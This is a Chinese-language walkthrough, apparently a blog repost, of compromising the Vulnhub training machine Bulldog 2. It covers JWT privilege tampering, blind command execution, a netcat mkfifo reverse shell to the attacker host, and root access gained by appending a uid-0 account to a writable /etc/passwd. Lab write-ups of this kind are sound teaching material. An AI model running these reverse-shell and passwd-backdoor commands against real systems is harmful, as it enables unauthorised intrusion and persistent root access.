Vulnhub靶机:BULLDOG_ 2

介绍

系列:Bulldog(此系列共2台)
发布日期:2018 年 7 月 18 日
难度:高级
运行环境:Virtualbox
目标:取得 root 权限
学习:

  • js 文件分析
  • JWT 越权
  • 命令执行(盲打)
  • Passwd提权

靶机地址:https://www.vulnhub.com/entry/bulldog-2,246/

信息收集

主机发现

netdiscover主机发现

sudo netdiscover -i eth1 -r 192.168.56.0/24

主机信息探测

看来要从80端口打穿系统了

nmap -p- 192.168.56.105
nmap -p 80 -A 192.168.56.105

image.png

网站探测

打开网站,尝试注册账号失败
image.png
这个时候比较尴尬,网站使用Webpack打包,但是PackerFuzzer没有发现任何信息。URLFinder虽然发现很多js文件,但是一个一个看显然又不现实。
image.png
常规的目录爆破没有结果
image.png
这个时候回过头来,先看一眼插件“FindSomething”发现的路径,将其逐个点开后,发现两个有趣的路径。
image.png

敏感信息泄露

路径1:http://192.168.56.105/users/getUsers?limit=
路径2:http://192.168.56.105/users
如果点开路径2下的头像,会发现这两个路径下的信息其实是一致的,那就把用户名全部拿下来,尝试做一下密码爆破。
image.png
通过简单的正则,获取到 http://192.168.56.105/users/getUsers?limit= 中的所有用户名,发现竟然高达15760行,照这样子,登录框爆破就没法搞了,爆破量太大了。那就只能回过头来看看网站中的那对 js 文件了。

js 文件分析

前端代码分析,发现注册功能好像可以用。首先给出注册时候的请求头:"application/json"
image.png
接着给出了注册的数据包:
image.png
尝试一下,注册成功
image.png

JWT越权

登录系统,发现响应包里面有JWT信息,其中auth_level字段比较引人注目,搜索一下,
image.png
结果搜索到这样一个信息
image.png
于是拼接得到新的JWT
image.png
接下来就是篡改登录时响应包的结果了,然后就登录了系统,看到了admin
image.png
image.png

命令执行

看似存在命令执行漏洞,但是拿DVWA的思路打一遍,没结果。用出传统技能报错法,看到了报错信息
image.png
image.png
谷歌搜索一下,结果第一条就是答案
image.png
由于是在访问linkauthenticate路径时报错的,因此github项目中直接搜索,发现了命令执行的格式
image.png
由于命令无回显,我这里抓取靶机与kali之间的icmp类型的数据包,然后让靶机去ping kali,经过多次尝试,发现使用如下格式可以执行命令

sudo tcpdump -i eth1 icmp and host 192.168.56.101 and host 192.168.56.105

image.png
然后就可以反弹shell了

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 1234 >/tmp/f

image.png

Passwd提权

搜索属于root的所有文件。文件所有者是root、文件具有可执行权限、其他用户具有可写权限 的所有文件

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

结果发现存在“passwd提权”,以前都是用openssl来搞,这次用perl来搞

perl -le 'print crypt("hack", "123")'

这条 Perl 命令的作用是,使用 "123" 作为 salt 对 "hack" 字符串进行加密,并输出加密结果。

其中:
perl 是运行 Perl 解释器的命令。
-le 参数指定在程序执行后换行并退出解释器。
print crypt("hack", "123") 表示调用 Perl 内置函数 crypt()"hack" 字符串进行加密,使用 "123" 作为 salt 并将加密后的结果输出到终端。

最终命令如下:

perl -le 'print crypt("hack", "123")'
echo 'lain:12RgFWKzAOIJM:0:0:root:/root:/bin/bash' >> /etc/passwd
交互式终端:python -c 'import pty; pty.spawn("/bin/bash")'
切换身份:su lain
输入密码:hack

image.png
当然,用我们熟悉的openssl来完成这个提权也是完全没问题的

openssl passwd -1 -salt hack hack123
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash' >> /etc/passwd
tail /etc/passwd
su hack
hack123
id

image.png

猜你喜欢

转载自blog.csdn.net/weixin_44288604/article/details/131245531